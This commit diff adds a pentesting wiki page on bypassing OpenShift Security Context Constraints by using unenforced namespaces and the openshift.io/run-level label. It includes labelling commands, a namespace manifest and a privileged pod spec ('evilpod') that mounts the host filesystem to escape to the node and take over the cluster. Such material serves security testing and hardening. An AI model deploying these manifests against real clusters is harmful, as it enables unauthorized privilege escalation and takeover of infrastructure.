Migrate to using mdbook

2026-01-02 07:50:00 -08:00 · 2024-12-31 17:04:35 +01:00
parent b9a9fed802
commit cd27cf5a2e
1373 changed files with 26143 additions and 34152 deletions
--- a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
@@ -0,0 +1,138 @@
+# Openshift - SCC bypass
+
+**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
+
+## Privileged Namespaces
+
+By default, SCC does not apply on following projects :
+
+- **default**
+- **kube-system**
+- **kube-public**
+- **openshift-node**
+- **openshift-infra**
+- **openshift**
+
+If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
+
+## Namespace Label
+
+There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
+
+- Create a Namespace and Create a Pod on this Namespace
+- Edit a Namespace and Create a Pod on this Namespace
+
+```bash
+$ oc auth can-i create namespaces
+  yes
+
+$ oc auth can-i patch namespaces
+  yes
+```
+
+The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
+
+<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
+
+## Add Label
+
+To add the label in your namespace :
+
+```bash
+$ oc label ns MYNAMESPACE openshift.io/run-level=0
+```
+
+To create a namespace with the label through a YAML file:
+
+```yaml
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: evil
+  labels:
+    openshift.io/run-level: 0
+```
+
+Now, all new pods created on the namespace should not have any SCC
+
+<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
+</strong><strong>$                                            
+</strong></code></pre>
+
+In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
+
+```yaml
+apiVersion: v1
+kind: Pod
+metadata:
+  name: evilpod
+  labels:
+    kubernetes.io/hostname: evilpod
+spec:
+  hostNetwork: true #Bind pod network to the host network
+  hostPID: true #See host processes
+  hostIPC: true #Access host inter processes
+  containers:
+    - name: evil
+      image: MYIMAGE
+      imagePullPolicy: IfNotPresent
+      securityContext:
+        privileged: true
+        allowPrivilegeEscalation: true
+      resources:
+        limits:
+          memory: 200Mi
+        requests:
+          cpu: 30m
+          memory: 100Mi
+      volumeMounts:
+        - name: hostrootfs
+          mountPath: /mnt
+  volumes:
+    - name: hostrootfs
+      hostPath:
+        path:
+```
+
+Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
+
+{{#ref}}
+../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
+{{#endref}}
+
+### Custom labels
+
+Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
+
+Try to look for custom labels if you can read some resources. Here a list of interesting resources :
+
+- Pod
+- Deployment
+- Namespace
+- Service
+- Route
+
+```bash
+$ oc get pod -o yaml | grep labels -A 5
+$ oc get namespace -o yaml | grep labels -A 5
+```
+
+## List all privileged namespaces
+
+```bash
+$ oc get project -o yaml | grep 'run-level' -b5
+```
+
+## Advanced exploit
+
+In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
+
+However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
+
+To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
+
+## References
+
+- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
+- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
+- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)